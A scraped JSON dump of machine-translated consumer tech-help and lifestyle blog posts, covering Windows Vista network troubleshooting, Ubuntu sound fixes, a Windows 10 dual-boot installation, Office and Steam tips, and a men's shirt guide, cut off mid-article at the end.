blocking certain inbound and outbound connections with certain applications. Since this is always a risk if the network is in a public network, one thing you often have to do while in this network is to turn off the firewall to check if your problem is resolved. is not. If the problem is there, you can reactivate your firewall and then troubleshoot it to indicate which port should allow your network traffic through.\nTo disable or add exceptions to the firewall, simply click Windows Firewall inside the Network and Sharing Center . Here, you can see its status.\n Figure 7: Check the Windows firewall We can see that the Windows Firewall is enabled and that means that incoming connections without exception will be blocked. There is also no notification here when a certain program is blocked.\nTo disable the firewall or create an exception, simply click Change Settings and see the following:\n Figure 8: Change the firewall settings in Windows Here you can turn off the firewall, view or change exceptions in the Exceptions tab, or see advanced features.\nBesides Windows Firewall, if you have any problems accessing computers on the local network, you need to check the Network Discovery settings. To do that, go to the Network and Sharing Center and go to Sharing and Discovery . Check your settings for things like Network Discovery, File Sharing, .\n Figure 9: Sharing and Discovery 5. Use senses\nAlthough we have provided you with some troubleshooting tools, there is another trick here that is 'sense' at work. These are necessary perceptions:\nDid you or someone change something from there causing problems with your network connection? Did you even connect to the network? Do you assume that all network connections are lost when it is actually just an inactive server or application? (it's easy to check that out) Check each one then move on to another. Without changing the three things, then maybe your network will work, but you won't know where your resolved problem is (it is likely that there will be many other problems and occurrences. confusion between changes. If you only change something that your problem still exists, then change it back to the previous state. Conclude\nThrough this tutorial, you can definitely fix network problems in Vista if you use this operating system. This is obviously not a matter of whether or not it is a matter of when. Not only that when the incident occurs, you can overcome it quickly with the thinking method equipped in the lesson (like the 'bottom up' method) and another factor that you have practiced and have encountered those problems before.\nncG1vNJzZmismaXArq3KnmWcp51kgm7AyKmqZqyfYsGzu9Sbo56rmKS8tXnNnquwp6KgeqS7zaecnKyZq7a1xYyiqqytlah6qrqMsKCnnJ%2BswG7CyKyrmg%3D%3D\n","link":"/post/5-tips-to-troubleshoot-network-connectivity-issues-in-windows-vista/","section":"post","tags":null,"title":"5 tips to troubleshoot network connectivity issues in Windows Vista"},{"body":"On Android Pie 9, the appearance of clawed gestures has replaced the 'recent apps' button (recent apps). Currently the navigation bar has only two buttons, the home button and the back button.\nHowever, based on the source code of the Android Q version, XDA Developers page suggests that the back button may be removed in the next version of this operating system. The navigation button system on Android Q will have only 1 button left.\n  According to XDA, on Android Q home button shaped tablet will also function of the back button and recent apps button. Instead of pressing the back button, users can slide the home button to the left to return to the previous page. To see recently used apps, just slide the home button to the right, to browse through different applications, continue to swipe right.\n  New gesture operation replaces the back button on Android Q.\nThe new way of navigating on Android Q helps to bring a new, more streamlined, more beautiful interface, and promises to change the way the device is used, making user operations faster.\n\nXDA-Developers introduces the claw gesture of the new navigation button on Android Q.\nCurrently, new Google is experimenting, hoping they will use this change in the next Android Q beta.\nncG1vNJzZmismaXArq3KnmWcp51krq%2Bw0aignWWhYsSquMtmmKWrn2K%2FprnOr5xmrJiaeqOtwqRkm62kqbyvecuemK%2Bhnpx6sLrLsmSoppViu6LCyKCYraGfo3qjwdOtpqc%3D\n","link":"/post/android-q-will-also-remove-the-back-button-leaving-only-one-navigation-button/","section":"post","tags":null,"title":"Android Q will also remove the back button, leaving only one navigation button"},{"body":"The shift of the APG submarine cable route in Singapore has been completed faster than expected, the quality of international Internet access in Vietnam has been restored 100%.\nAccording to the notice from 0:00 on January 6 to 22:00 on January 7, the APG submarine cable route in Changi-Singapore will be teleported. But the work was completed two days earlier than expected, and at 15:45 on January 6 this cable was back to normal. Currently, this cable has restored 100% of traffic.\n  Meanwhile, from January 6 and January 9, AAG, the important cable connecting to the Internet in Vietnam goes to other countries to reconfigure the source, this new cable works stably again.\nPreviously, operators announced to customers, international Internet connection traffic on APG and AAG sea cable lines could be temporarily interrupted because APG will conduct cable relocation in Singapore to serve Expand Singapore's Changi Airport and on this occasion also handle incidents that occur on the connection-oriented AAG branch line from Vietnam to Singapore.\nSee more:\n2 AAG and APG fiber optic cable routes and intermittent interrupt this weekend, Internet connection from Vietnam to international will be affected Why do sharks like to bite sea cable? ncG1vNJzZmismaXArq3KnmWcp51krrGzjJ%2Bgm52iYryxwMicZJyZkqGybrTArGSbnZWjerOxz5qgq52UYravwMSrpZ6sXZiusa3CoquyZZeksrR506hkoqakmr%2BvrdOipqeZnGK%2Fpq%2FOr5yrsV1mfXE%3D\n","link":"/post/apg-fiber-optic-cable-has-been-repaired-internet-capacity-goes-to-international-recovery-100/","section":"post","tags":null,"title":"APG fiber optic cable has been repaired, Internet capacity goes to international recovery 100%"},{"body":"Apple recently launched a free recovery and repair support program for all third-generation iPad Air models affected by the problem that caused the screen to 'suddenly' die for no apparent reason.\nEarlier, Apple had received numerous complaints from owners of iPad Air 3 regarding the sudden shutdown of the screen. These defective screens usually show a blink or blink a few times before permanently changing to \"black background\" or \"white background\" and cannot be used normally as before. The cause behind the problem is still being investigated by Apple, but the initial judgment shows that only the iPad Air 3 batch produced between March 2019 and October 2019 encountered this error.\nIf your device is purchased from an authorized Apple authorized dealer or distributor, Apple will provide free processing support through the Apple Store or an Authorized Service Provider for testing. Check and replace the screen in case of necessity.\n  Additionally, iPad Air 3 owners can also contact Apple support to arrange a service to send their warranty to the Apple Repair Center. Before sending the product for warranty, you should back up data to iCloud or store on your computer to avoid data loss.\nIt is also important to note that the above free replacement and repair program applies only to iPad Air 3 models manufactured between March 2019 and October 2019. Also applied within 2 years from the time the first iPad Air 3 is marketed.\nApple currently has 4 lines of iPads, with the latest versions being 5th generation iPad, 5th generation iPad Mini, 3rd generation iPad Pro and 3rd generation iPad Air - launched in March 2019.\nncG1vNJzZmismaXArq3KnmWcp51krrG8y55kmpydnsG0ecBmqpyqlZq7brHRq6arZZ%2Bjeqq8wJ1kmqGiYoBuv9Spp6iqpJ67qHnFq5yeZaKavaK10WadqKpdZ3q6scCrqg%3D%3D\n","link":"/post/apple-admits-a-screen-error-on-ipad-air-3-supporting-free-repair-for-2-years/","section":"post","tags":null,"title":"Apple admits a screen error on iPad Air 3, supporting free repair for 2 years"},{"body":"When making reports in Word using data from Excel spreadsheets, people usually do two jobs:\n- Job A : Enter the data into the Excel table to calculate. - Job B : Open Word documents to update calculation results from Excel (the text of the report is generally not changed much).  Figure 1 : Excel, previous period data used for July 2005 reports\nManually updating Word documents is confusing and costly when there are many data. There is a way to automatically link data from Excel to Word documents so you only need to do B work once, then every time you finish working A, Word automatically updates the changes and you only printing a report without having to do B again.\nFor example, we consider the passenger transport report of 4 car manufacturers HTX, LTD, QD and CT. Every month you need to include the data of the current month and the previous month to compare the increase and decrease. Currently we need to do data analysis in August 2005. Step 1 ( work A ): In H.1, we have available an Excel spreadsheet with data of the previous period (July 2005) with the formulas for calculating the total number of passengers, increasing the passenger rate compared to last month . we just need to enter the data of the report month, Excel will automatically calculate the remaining numbers. After the import is completed, it is calculated with the current period data (August 2005) as H.2.   \nFigure 2 : Excel, current period data used for August 2005 reports\nStep 2 : In H.3, analyze the data obtained in H.1. What needs to be done is to correct the data of the previous period into the data of this period in that analysis table (ie, modify H.3 to H.4). Now we will link data from Excel to Word so that the following periods need only be corrected in Excel and then tell Word to automatically update data from Excel. First, go to Excel spreadsheet, copy the data box needed as C2 in H.2 (the box is highlighted in H.2) and then go to Word and put the cursor in the place where you need to correct the data (immediately before the number 272,601 in H.3). Delete the value of 272,601 in H.3 then click on the Edit\u0026gt; Paste special menu, the Paste special panel appears. You select Paste link\u0026gt; Unformated Text and then OK (these operations are temporarily called Paste link), the new part is pasted as 273,780 as in H.4 but the background of this number 273.780 is gray. Do the same in other figures that need modification. (Note that when copying from Excel, you must copy the whole cell, not just fill in the number and copy).  Figure 3 : Word, analyzing data of H.1\nNote, if the area is Paste link is not gray, do the following: go to Tools\u0026gt; Options menu, select the View tab, Field shadding select Always then OK . Particularly for figures that may have a negative or positive value, and this value affects the text in the Word document, it is a bit more complicated. As for the reduction of 44.44% in H.3: the previous month decreased by 44.44% because the value in Excel was -44.44 respectively (in H.1). This month the value in Excel spreadsheet is 16.39 (in H.2), we must display the text as an increase of 16.39% in Word. How to do the following: first you open the Excel spreadsheet (H.2), for those columns that show a decrease or decrease (in this example, columns D and E) we have to create 2 extra columns to use show text for each column. We make column D as follows (column E does the same):  Figure 4 : Word, analyzing data of H.2 - Insert 2 columns F and G to complement column D as H.5. In which column F represents the sign of column D and column G represents the absolute value of column D. - Enter the formula F2 box: = IF (D2 = 0; \"does not increase or decrease\"; IF (D2\u0026gt; 0; \"increase\"; \"decrease\")) This function considers the value of cell D2, if = 0, displays \"no increase or decrease\", if\u0026gt; 0, displays \"increase\", if Copy the above formula for cells F3, F4, F5, F6. - Enter in cell G2 formula: = IF (D2 0; ABS (D2); \"\") This function takes the absolute value of cell D2. Copy the above formula for cells G3, G4, G5, G6. You will get the same details as H.5. Now go back to Word in H.3:  - Delete the word \"reduced\", by Excel copy the box F5 in H.5 then Paste link to Word. - Delete \"44,44\", through Excel copy the G5 cell in H.5 and then Paste the link into Word. Do the same for other parts that need modification. If done correctly you will get the August 2005 report like H.4. From the following month, simply enter the data in the Excel spreadsheet, open the Word document, click the Edit\u0026gt; Select All menu and then click Edit\u0026gt; Links\u0026gt; Update Now menu, immediately update the data from Excel. Word. Note, for Word to not automatically update the data when opening the file: go to Tools\u0026gt; Options\u0026gt; General menu , uncheck the \" Update automatic links at Open \" section. If not, every time you open a Word file with linked data, Word will always ask for updates. ISOTOPES Email : dongvi@gmail.com\nncG1vNJzZmismaXArq3KnmWcp51ksLOxwK2cZqqVpbyzwNJmmK6sn6KutbXCmqOlsV2eu27DzqubZp6ipLpusdecnKWrXZmuta2MrJ%2BenaQ%3D\n","link":"/post/create-reports-automatically-in-word-from-excel-s-data-sheet/","section":"post","tags":null,"title":"Create reports automatically in word from Excel's data sheet"},{"body":"The good news for both iPhone and laptop owners, Dell Mobile Connect application has now been added to support data transfer from iPhone, iPad to Windows 10 laptop. Previously in the framework of CES 2020 , the US computer manufacturer has been hiding about some of the new iOS integration features coming to its Mobile Connect service, and today, these features have been officially released in version 3.0. of the Dell Mobile Connect application.\n  There are three important new features added on Dell Mobile Connect that iPhone users should be aware of (these features were released with Android but are currently compatible with iOS):\nScreen Mirroring (screen mirroring) - launch the iOS application on the Dell PC. File transfer (file transfer). Send SMS right on your PC without having to open the app. Dell Mobile Connect has long been one of the few applications that supports sending and receiving text messages from a PC, especially for users of iOS devices (Android has more options). These new and additional features will help this application to bring more comprehensive support for users.\nTypically, features such as screen mirroring and file transfer using iPhone will often require many related factors such as Apple PC, using AirPlay and AirDrop. However Dell said it does not use Apple's proprietary technologies for this.\nThe ability to send SMS messages right on your PC without having to open the app is also a highlight in this update of Dell Mobile Connect, because previously you had to open the application to send text messages, which takes more time. .\nDell Mobile Connect is pre-installed on all newly released Dell PC models. In addition, devices from any manufacturer can download the app from the Microsoft Store and use it as usual, as long as it is running on Windows 10.\nncG1vNJzZmismaXArq3KnmWcp51ksaa4y2akqJqZobJur86npZ6bpGLAtrzPqKmtq12pv6K60p%2Bcq6qZo7RusMCtmGaeoqS6brXPoaannV2pvG7DyKebqK%2BjYn5x\n","link":"/post/dell-mobile-connect-supports-transferring-data-from-iphone-to-windows-10/","section":"post","tags":null,"title":"Dell Mobile Connect supports transferring data from iPhone to Windows 10"},{"body":"Initially, DirectStorage appeared on Microsoft's Xbox Series X and S consoles.\nNow, Microsoft has officially rolled out the DirectStorage API to developers. Therefore, from now on, games for Windows computers can have DirectStorage built-in to work better on Windows 11.\nThanks to DirectStorage, games will load faster and have more detailed rendering. The new API also makes it possible for developers to better take advantage of the speed of the latest storage devices.\nAccording to Microsoft, DirectStorage can significantly reduce the amount of I/O operations on the device's memory using parallelism. Basically, this will help reduce load times and a few other benefits.\n  With the launch of DirectStorage, Microsoft once again asserts Windows 11 as the best operating system for gaming.\n\"With DirectStorage, currently only supporting Windows 11, games can load content to the graphics card faster without choking on CPU performance. As a result, you can experience the extremely detailed, rendered game world Display at lightning speed, say goodbye to sluggish game downloads. \"DirectStorage Optimized\" certified computers will be configured with the necessary hardware and drivers to deliver this amazing experience,\" Microsoft said. .\nIf you are a developer, you can consult and download resources related to DirectStorage here.\nncG1vNJzZmismaXArq3KnmWcp51ksaq%2BxJyrrKyfp66osYyiqmanlpu2pLXApaOyZZGrrqq4wJujnmWfo3q4tc2dprCrXWZ%2Bbr%2FTq5ynn6Sdsq%2B1zaBkraCVYr2wv8itoKimXaSzbsDHnmSbnaOpeqitzKKloGWfpbKzrdOipaBlo67AtbHM\n","link":"/post/directstorage-is-officially-available-on-windows-11-strengthening-the-position-of-the-best-gaming-operating-system/","section":"post","tags":null,"title":"DirectStorage is officially available on Windows 11, strengthening the position of the best gaming operating system"},{"body":"Error Cannot recognize the USB connection is quite common with Canon LBP 2900 printer series\u0026nbsp; . This error is caused by\u0026nbsp; the computer \u0026nbsp;not receiving\u0026nbsp; \u0026nbsp;the printer's USB when making a connection between\u0026nbsp; the printer \u0026nbsp;and the computer. Follow the article below to know how to fix the Cannot recognize the USB connection error when installing the printer!\nThe simplest thing is to try restarting your computer to fix the error on memory. Remember to save the documents you are working on and close all applications before shutting down.\nAt the Start section, click the power button icon \u0026gt; Select Restart.\n  To disconnect the computer's power, the first thing to do is to turn off your computer \u0026gt; Unplug the power. Wait about 10-15 minutes, then proceed to plug in the power again, turn on your computer and reconnect the USB drive to see if the error has been fixed or not.\n  This is only a temporary solution. If the 'Cannot recognize the USB connection' error occurs during the USB drive connection, you can connect the USB drive on a different port to see if the error is resolved.\n  Check the printer cable connected to the computer to see if there is any error. If there is an error, we can take the cable of another machine to plug it back in, then restart the computer and printer and proceed to reinstall the printer computer driver.\n  This case is caused by an unstable power supply, or a card formater error in the printer. In this case, it can be fixed if it is fixed, but it is not stable. In this case, only we should replace the Card formater to make it work stably.\n  The server is the machine that connects the printer and to other computers. If the workstations do not have the same IP address as the server, your computer will not be able to find the printer on the LAN.\nThe reason is because the paper size you use to edit documents on your computer is not compatible with the paper type set up inside the printer. Users often encounter this problem when using A5 paper size. However, when printing A4 sizes, errors can still occur.\nThis is the part that connects the computer to the printer, so when the connection cable has a problem, the machine will not recognize the print job even though it says Ready To Print. So you need to check the cable first if you encounter the above situation.\nWhen the print output does not meet your expectations or appears streaks or wrong color, print a printhead test to find out the error and fix it before you intend to replace the printer. mine.\n- Your computer is having an operating system error.\n- The cable connecting the printer to the computer may be damaged or loose.\n- The printer is not powered on.\n- The toner cartridge is out of ink.\n- The toner cartridge is damaged.\n- The axis from the printer is damaged.\n- The printer has a clogged nozzle.\nWhen you need to print a document, you issue a print command and the machine has confirmed the order, but when you proceed to take the paper, it cannot and receive an error message: The light turns red and indicates paper-out.\nThe reason may stem from whether you fill in the wrong or incorrect ink, the printer will print blurry. The quality of genuine inks or toners will affect print quality.\n- The smooth paper surface makes the spool uneven.\n- The paper is too thin, has a high moisture content, or the paper is damp from contact with water.\n- Improperly placed on the print tray.\nWith long documents, you can align 2-sided printing symmetrically in Word and then bind the spine into a volume to save paper and look better.\nThe article showed you how to fix the Cannot recognize the USB connection error when installing the printer. Good luck!\nfix printer ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqkrc2npq1lopqwsLPNorGeZaSdsm7B0ptknKeeo7KkwMiopWadoqe8s3nWoZynZZmjwLWty6Wgp59dqbWmec%2BroKeslac%3D\n","link":"/post/how-to-fix-cannot-recognize-the-usb-connection-error-when-installing-the-printer/","section":"post","tags":null,"title":"How to fix Cannot recognize the USB connection error when installing the printer"},{"body":"A problem that Ubuntu users often encounter after installing or upgrading Ubuntun to the new version is that it currently loses sound, no sound. There are many reasons for this error as possible because the wrong configuration in speaker settings or hardware is not well supported.\nHowever, the remedy is quite simple. This article will show you some ways to fix errors without sound in Ubuntu.\nHow to troubleshoot audio loss problems on Ubuntu Check speaker settings Check the ALSA Mixer Reload ALSA Reinstall ALSA and PulseAudio Check speaker settings When you encounter audio problems on Ubuntu, the first thing you need to check is headphones and speakers, see if they have a connection problem. It is possible that some audio cables are plugged into the wrong port or not connected to each other.\nIf using a Bluetooth device, check if it is correctly paired. And don't forget to check the volume control on the device to make sure it is at a moderate level. You also need to make sure that the output volume on the computer is not muted and select the correct output device.\n  Check the ALSA Mixer PulseAudio - open source network audio server for Linux, using ALSA level volume controllers. If you need more detailed control of ALSA volume, follow the steps below:\nStep 1. Open the terminal window.\nStep 2. Type alsamixer and press Enter . You will see the following output in the terminal.\n  Step 3 . Select the correct sound card by pressing F6 . For many people the default settings work very well but you can try other options if it doesn't work.\nStep 4 . Use the left and right arrow keys to select the volume controller. The currently selected item is shown in red.\nStep 5. Use the up and down arrows to increase and decrease the volume level for each controller.\nStep 6 . When the mixer controller is muted, you will see MM appear below the volume bar. One thing to note is that this bar may be 100% but can still be muted, so you should check it here. You can mute a controller by pressing the M key, it will change from MM to OO.\nStep 7 . To exit alsamixer , press the Ecs key.\nNote: When mute or unmute a controller, plulseaudio can select it and mute or unmute the other controllers. Therefore, make sure that the relevant volume controllers as well as the main controller are turned on before pressing the exit button.\nReload ALSA Another way you can do it if the audio problem is still reloading ALSA. To do this, use the following command in the terminal:\n sudo alsa force-reload  The output is like the following image.\n  After completion, restart the computer and check the audio again.\nReinstall ALSA and PulseAudio If the above methods do not fix your problem, try reinstalling ALSA and PulseAudio in the following way. Open the terminal and enter the following commands:\n sudo apt remove --purge alsa-base pulseaudio sudo apt install alsa-base pulseaudio  Reload ALSA in the above way and restart the computer.\nThe article introduced you to a number of common fixes for problems without sound in Ubuntu. I wish you all success.\nSee more:\n4 steps to troubleshoot audio loss in Windows How to retrieve the Volume icon disappears on the Taskbar? Windows 10? Fixed a bug with the speaker icon with a red X, the computer has no sound ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqmvtGoqaxlp57BqbvUrWSsp6WjsW61zWasm62eqcI%3D\n","link":"/post/how-to-fix-errors-without-sound-in-ubuntu/","section":"post","tags":null,"title":"How to fix errors without sound in Ubuntu"},{"body":"A lovely, sweet heart-shaped card will be a small but extremely meaningful gift to give a good gift to a girlfriend during Vietnamese Women's Day October 20 . You can hang cards in your home, put them in gift boxes or fresh flowers or even just a handmade card made with all sincerity is enough to make people feel happy.\nHere are simple steps to make a lovely 20 - 10 heart shaped card.\nCard making materials 20-10 heart shape Paper cover is red, light pink, dark pink decorated White paperboard makes cards Paper rolls or toothpick tools Glue milk or glue gun Small ribbon Pencil, scissors, paper knife You can easily buy these materials at the stores selling handmade goods or stationery stores at very cheap prices.\n  How to make 20-10 heart cards Step 1: You cut red, light pink and dark pink paperboard into small strips of paper about 0.5cm wide. Or you can buy pre-cut colored paperboard roll for sale at handmade or stationery stores.\n  Then you use a toothpick or a paper roll tool, place the strip on the edge and then curl it to create the scrolls as shown. When the roll is finished, you use the adhesive to fix the paper roll so that the roll does not pop out.\nDo the same with paper strips of different colors and short lengths to get different sizes of paper rolls, when decorating the cards will be more sparkling and beautiful.\nStep 2: Using a pencil, draw a heart shape on the white paperboard of arbitrary size to make the cover of the card. After that, draw a smaller heart shape inside the heart shape, which is about 1cm apart.\nUse a large cut out of the big heart shape, then cut a small heart with a paper knife, and get a heart-shaped frame.\n  If you don't have a serrated blade, you can cut it with regular scissors and then trim out small details to make the card more vivid.\nIf you want your 20-10 card to be more rigid and thick, then place the cut-heart-shaped frame on the paperboard and cut the border to get similar sized heart frames. Use glue to superimpose frames on each other.\nStep 3:   Put the scrolls into the heart frame and then fix the rolls with the milk glue.\nStep 4:   After that, you roll up the small rolls of paper to put in the empty positions in the frame, using the glue to attach the milk.\n  Cut a piece of ribbon into the heart shape and tighten it. You can tie the bow so that the card looks more beautiful.\n  So you have completed the card 20 - 10 very simple sweet heart shapes.\nThis heart-shaped card will be a romantic love message that you can send to your special women on the upcoming Vietnamese Women's Day October 20.\nGood luck!\nHow to make October 20 cards with simple scrolls ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWRoLJur8Crm6xlYmV6cnyMoZyaqqRiwKmtz56qZquZor2tsYyapZ1lo6yypsA%3D\n","link":"/post/how-to-make-cards-20/","section":"post","tags":null,"title":"How to make cards 20"},{"body":"To take a screenshot of the computer screen, we usually use the PrtSc key or some tools on Windows 10. When playing games, although we can also use that key, but some games when using the smart way will usually display images with no content especially when you take photos when playing games on Steam. If so, you should immediately use the built-in photography feature in Steam to produce sharp, full-screen image quality. Besides, we can also reset screen capture feature on Steam for more convenient to use. The following article will guide you how to take photos when playing games on Steam.\nInstructions for taking a screenshot of the game screen on Steam Step 1:\nFirst of all, we need to proceed to set up a screenshot of gaming screens on Steam. The default shortcut that Steam uses to take screenshots is F12. At the interface, click Steam in the top left corner and select Settings .\n  Step 2:\nSwitch to the installation interface. Here, users click on In-Game and then look at the content next to, Screenshot shortcut keys will select shortcuts to take snapshots of the screen, select a folder to save screenshots. Below will be the option to send notifications or sound when taking screenshots.\nFinally click OK to save the changes.\n  Step 3:\nOpen the gaming screen and then press the screen capture key you set earlier. When the screenshot is completed, the Steam Uploader screen will appear, saving the screenshots you have taken, along with a number of options:\nSelect All: Select all of this photo just taken. Show On Disk: Displays pictures in the folder you have set up earlier. Delete: Delete the selected image. Add a caption: Add a description to the photo. Upload: Upload the selected photo with Caption wrote. View Online Library: If you've clicked Upload, you will see the photos in the library on Steam.   Note to you , in case we can not find the image in the saved image folder, you access the path C: Programfiles (x86) SteamuserdataID_Steam760remoteID_Game screenshots\nID_Steam is the Steam account ID of each person and ID_Game can be viewed in the game introduction page after the / app / character at the game's URL.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqyRoLJuv8KrnJ6mo528tb%2BMqJ1mrJiaeqitzJ5krJuimrKvec6nZKyslZa6\n","link":"/post/how-to-take-screenshots-of-the-game-screen-on-steam/","section":"post","tags":null,"title":"How to take screenshots of the game screen on Steam"},{"body":"  \nMicrosoft has officially launched Office 2010 to the market. However, equally attractive is the appearance of Microsoft Office Web Apps, Microsoft's free office application on the Web including Word, Excel, PowerPoint and OneNote.\nIn general, web applications are a highlight of Microsoft (MS), which can make users stick with MS Office instead of switching to competitors like Google Docs or Zoho. The online version of Office is not a replacement for the desktop version, but it is an online tool for you to work with if the Office application is not available.\nHere are some things that perhaps Microsoft needs to make improvements to its Office Web Apps if it wants to attract more customers.\nAdd the ability to automatically save documents to Word\nAutomatic document saving is a clear feature that will be needed. Google Docs is equipped with this feature and MS Excel Web Apps is also equipped, but for some reason MS is not equipped with the Word Web App, which means that you will often take time to click the Save button. AutoSaving feature that Microsoft took a long time to equip the desktop version, even the AutoRecover feature was developed by the company. Hopefully, a similar feature will be included in the Word Web App version to help users avoid problems during use.\n  AutoSave allows you to save documents for a period of time\nWarning if you accidentally close the card\nOne problem that users are concerned about using Word is that it does not warn you if you close the working tab that you are working on if you have not already done the changes. This will cause you to regularly conduct the process of working with the document on this application if you do not want to be startled when you remember the process has not been saved.\nSupport other document formats\n  Docx, xlsx, pptx are good but not popular with Office 2003 format\nIf you want to use Microsoft Web Apps, you can only save and download MS Office 2007 format documents including docx, xlsx and pptx. This will be a big problem for those who only want to use the MS Office 2003 doc, xls, ppt format. It will also be more convenient if you can work with other popular formats such as RTF, csv html and pdf which are supported by Google Docs and Zoho.\nObviously, Microsoft wants to encourage people to update their new Office software and switch to newer file formats, but this kind of encouragement makes users more uncomfortable.\nExpand the ability to fully support features for web browsers\nOne of the interesting features of Office Web Apps is that it allows users to simply click on a button to open a document directly in the desktop. If you're editing data in Excel, just click the ' Open in Excel ' button, your data will open as if you were working with a desktop application, but you still have to save it online. The problem is that this feature only works with Firefox and IE browsers on Windows, does not work with all web browsers on a Mac.\nThe main reason is that the functions in Excel, Word, OneNote and PowerPoint are based on Microsoft's ActiveX platform, which is not available on Mac or other browsers in Windows such as Chrome, Opera, and Safari. It would be better if Microsoft could extend this functionality to all browsers and Mac computers with MS Office installed.\nNo longer friendly with Mac OS\nMac users will see an annoying feature in Word, this happens as a way of binding to the function shortcuts. For example, with MS Office for Mac, users can use the command combination by typing ' command ' with a letter key, such as ' command + b ' to bold, ' command + x ' to use the cut command , ' command + c ' or ' command + v ' to paste.\nBut in the Word Web App, users must use the ' control ' key instead of the ' command '. This is probably because Microsoft wants to use the CTRL command to combine key words instead of discrete usage as before.\nThis may result in Microsoft failing to conquer the Office Web application on Mac OS, giving rights to Google, which focuses on computer users' habits.\nIn general, in general, Microsoft Office Web Apps is quite good, if improving the above 5 things, this would be a better product, can compete strongly with online services from Google and Zoho.\nncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYrynssicnGavlZd6orzPrGSnp6RirrR5xLGnnpukmrE%3D\n","link":"/post/microsoft-office-web-apps-not-as-expected/","section":"post","tags":null,"title":"Microsoft Office Web Apps: Not as expected"},{"body":"You want to experience the hot features on Windows 10, but don't want to completely replace the current version of Windows. Therefore the best solution in this case is to install Windows 10 in parallel with the existing Windows version and below is how to do it.\nStep 1: Download the Windows 10 ISO file to your computer here .\n  Step 2: Download and install the Windows 7 USB / DVD Download Tool utility for the computer. This utility will help users to transfer Windows 10 installer to USB to be able to install Windows 10 on the computer.\nStep 3: Plug in a USB flash drive with at least 4GB capacity into your computer. Make sure that inside USB does not have important data types, because copying Windows 10 installation files to USB will erase all data on the USB.\nStep 4: Start Windows 7 USB / DVD Download Tool up.\nStep 5: Select the ISO file of Windows 10 you just downloaded in step 1 by clicking the Browse button in the Source file frame and then clicking the Next button.\n  Step 6: Go to the next step, press the USB device button. If you have an optical drive, you can choose DVD to transfer the installer to DVD and install. But in most cases, USB is a simpler option.\n  Step 7: Select the USB drive and click Begin copying button to start copying.\n  Step 8: Click the Erase USB Device button and press the OK button to confirm if prompted.\n  It will take a few minutes for this tool to copy the Windows 10 installation files to the USB drive.\n  If you already have a partition to install Windows 10, you can skip the steps below and go straight to step 18 below.\nStep 9: On your computer, navigate to the Disk management tool. On Windows 7, Windows 8 or Windows 8.1, go to Control Panel \u0026gt; Administrative tools \u0026gt; Computer Management , click the Storage item in the left pane and select Disk Management .\n  Step 10: Right-click the C drive partition and select Shrink Volume .\n  Step 11: Enter the capacity for the new partition to install Windows 10 in the frame Interval of the amount of space to shrink in MB . The minimum capacity to install should be 20GB ( 20,000 MB ), if you need to install more applications, you should choose 40 GB. Then click Shrink button.\n  Step 12: Right-click on the newly created empty partition and select New Simple Volume .\n  Step 13: Click the Next button in the new dialog box that appears.  Step 14: Click the Next button again and keep the available disk space settings. Then click the Next button to continue.\n  Step 15: Go to the next step, select the drive letter in the Assign the following drive letter section and click Next.\n  Step 16: Go to the new dialog box, click ' Do not format this volume ' and click Next to continue.\n  Step 17: Finally click the Finish button to complete.\n  Step 18: Restart your computer from the USB drive. When the computer restarts, you will have to press a special key like F11, F12 or ESC . depending on the different computer types to access the boot selection menu. After selecting USB, press the Enter key to start installing Windows 10 from the USB drive.\nStep 19: In the Windows Setup dialog box that appears, select the language used, the time and keyboard settings, and click Next.\n  Step 20: Click Install Now button to continue.\n  Step 21: Click the Accept the license terms option and click the Next button.\n  Step 22: Select Custom install\n  Step 23: Select the partition you just created, maybe the partition will be named ' Unallocated space ' and then click Next.\n  Windows will take a few minutes to copy the file.\n  After a few minutes, the system will reboot and display a boot menu.\nStep 24: Select the Windows Technical Preview . If the computer you are using is running Windows 7, the menu will display as text but not a graphical interface like Windows 8 / 8.1.\n  This system will continue to copy the file and reboot again.\nStep 26: After restarting, you will be redirected to the Settings screen. Here click the ' Use express settings ' button.\n  Step 27: Log in with your Microsoft account or create a new account by clicking the Create a new account link.\n  Step 28: Verify your account by entering your email address in the box How would you like to get this code? let Microsoft send you a security code.\n  Then enter the security code that Microsoft sent to you via email in the empty box below the entry Enter the code you received .\n  Step 29: Select ' Set this up as a new PC instead ' in the next step and click Next.\n  Step 30: Click Next to activate OneDrive.\n  Windows will take a few minutes to complete the settings. After that, you will access the desktop.\nThus, the installation of Windows 10 from USB has been completed. Now every time you start your computer, you will see the boot menu with two options including the old version of Windows or Windows 10 Preview.\nncG1vNJzZmismaXArq3KnmWcp51kvaK%2BwKWjnqRdnru0wMClo5qsmaS7brvFZq6ippSkxLR5kGlksKGknXq4tc2dprCrXWx6sL6McQ%3D%3D\n","link":"/post/parallel-installation-of-windows-10-with-windows-7-or-8/","section":"post","tags":null,"title":"Parallel installation of Windows 10 with Windows 7 or 8"},{"body":"For men, perhaps a shirt is a classic item in their wardrobe, especially office ladies. The bed shirts like gentlemen become more stylish and elegant.\nEach created shirt is used in different situations, some are only suitable for work, and some are created only to attend luxurious parties. The world of shirts for men is vast and you need to really understand them to make effective dress decisions for yourself.\nThe following article will help you get the most detailed look at the \"dress shirt\" as well as choose the best and most suitable shirt for you.\n1. Always choose long-sleeved shirts   In the fashion world with the word 'dress shirt' - this is the concept of neck, long-sleeved and buttoned shirts on the cuffs. The color shirts that are usually worn to the beach in the summer are not called dress shirts.\nIn summer, short-sleeved shirts will be the preferred choice for many people, because it's cool, suitable for summer, however, if you want to be more polite and elegant, choose long shirts. hand.\n  If you feel hot when wearing long-sleeved shirts, you should consult how to roll up the sleeves, this just helps you solve the weather problem, creating a personality and fashion for the outfit you are wear.\n2. Choose a suitable shirt   With modern life like today, many people often choose for themselves the ready-made shirts, ready-made shirts often fit many people, but not perfect for anyone.\nWe still often have people who have shoulder length but the sleeves are too long, or the collar is shoulder-width. No problem, there are still principles and tips for you in the above situations to choose the size that suits you best. Here are the standard fit of a tailored shirt for your reference:\nThe collar will fit if you close all the buttons and keep both hands in place. The hand can move freely and short enough for the cuffs to not touch the palm of your hand, which will give you the chance to float the newly purchased watch. The sewing point of the shirt shoulder is the middle of your shoulder, wide enough to feel comfortable and narrow enough to not squeeze excess fabric. The skirt is long enough so that when the belt and hands are raised high it does not come out of the pants, but short enough to not cover the buttocks.\n  When choosing a ready-made shirt, you should prioritize the following points: first is the shoulder, followed by the sleeve, these are 